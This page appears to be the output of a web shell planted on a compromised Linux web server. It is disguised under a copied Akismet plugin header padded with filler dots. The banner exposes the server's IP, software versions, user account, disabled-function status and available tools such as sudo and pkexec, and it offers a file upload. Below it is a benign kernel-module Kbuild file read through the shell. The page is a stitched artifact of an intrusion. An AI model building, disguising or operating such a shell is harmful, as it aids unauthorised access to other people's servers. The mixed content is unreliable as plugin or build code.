#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/src/file_protector-1.1-234/ |
Upload File : |
KERNEL_MODULE_NAME := file_protector
# '$(KERNEL_MODULE_NAME).ko' module:
obj-m += $(KERNEL_MODULE_NAME).o
# '$(KERNEL_MODULE_NAME).o' sources:
$(KERNEL_MODULE_NAME)-y += compat.o
$(KERNEL_MODULE_NAME)-y += module.o
$(KERNEL_MODULE_NAME)-y += syscall_hooks/fs_syscall_hooks.o
$(KERNEL_MODULE_NAME)-y += syscall_hooks/syscall_common.o
$(KERNEL_MODULE_NAME)-y += task_info_map.o
$(KERNEL_MODULE_NAME)-y += tracepoints.o
$(KERNEL_MODULE_NAME)-y += transport/device.o
$(KERNEL_MODULE_NAME)-y += transport/exit_event.o
$(KERNEL_MODULE_NAME)-y += transport/fork_event.o
$(KERNEL_MODULE_NAME)-y += transport/fs_event.o
$(KERNEL_MODULE_NAME)-y += transport/message.o
$(KERNEL_MODULE_NAME)-y += transport/transport.o
# Note: '$(src)' is defined by kernel build system as absolute path
# pointing to directory with this Kbuild file
ccflags-y += -I$(src)
ccflags-y += -I$(src)/common
ccflags-y += -I$(src)/syscall_hooks
ccflags-y += -I$(src)/transport
# Tag to filter debug print
ccflags-y += -DPRINTK_TAG=\"APL\"
ccflags-y += -DDRIVER_VERSION_STRING=\"0.1.0\"
# uncomment/comment to enable/disable debug
#ccflags-y += -D__DEBUG__
# Include headers parsing magic
# Check if specific header exists
ifeq ($(notdir $(wildcard $(srctree)/include/linux/sched.h)),sched.h)
ccflags-y += -DHAVE_SCHED_H
endif
ifeq ($(notdir $(wildcard $(srctree)/include/linux/sched/task.h)),task.h)
ccflags-y += -DHAVE_SCHED_TASK_H
endif
# Check if specific function in header exists
ccflags-y += $(shell \
grep -qw get_fs_pwd $(srctree)/include/linux/fs_struct.h 2>/dev/null && \
echo -DHAVE_GET_FS_PWD)
ccflags-y += $(shell \
grep -qw get_fs_root $(srctree)/include/linux/fs_struct.h 2>/dev/null && \
echo -DHAVE_GET_FS_ROOT)
ccflags-y += $(shell \
grep -qw get_task_exe_file $(srctree)/include/linux/mm.h 2>/dev/null && \
echo -DHAVE_GET_TASK_EXE)
ccflags-y += $(shell \
grep -qw path_equal $(srctree)/include/linux/path.h 2>/dev/null && \
echo -DHAVE_PATH_EQUAL)
ccflags-y += $(shell \
grep -qw rb_first_postorder $(srctree)/include/linux/rbtree.h 2>/dev/null && \
echo -DHAVE_RB_FIRST_POSTORDER)
ccflags-y += $(shell \
grep -qw rb_next_postorder $(srctree)/include/linux/rbtree.h 2>/dev/null && \
echo -DHAVE_RB_NEXT_POSTORDER)
ccflags-y += $(shell \
if grep -w vfs_fstatat $(srctree)/include/linux/fs.h 2>/dev/null | \
grep -qw "const char __user \*"; then \
echo -DHAVE_VFS_FSTATAT_CONST; \
fi)
ccflags-y += $(shell \
if grep "register_trace_" $(srctree)/include/linux/tracepoint.h 2>/dev/null | \
grep -q "void \*data"; then \
echo -DHAVE_TRACEPOINT_PROBE_REGISTER_DATA; \
fi)
ccflags-y += $(shell \
if grep -w tracepoint_probe_register $(srctree)/include/linux/tracepoint.h 2>/dev/null | \
grep -qw "struct tracepoint"; then \
echo -DHAVE_TRACEPOINT_PROBE_REGISTER_STRUCT; \
fi)
ccflags-y += $(shell \
if grep -A10 "struct cred {" $(srctree)/include/linux/cred.h 2>/dev/null | \
grep -qw "kuid_t"; then \
echo -DHAVE_STRUCT_CRED_KUID; \
fi)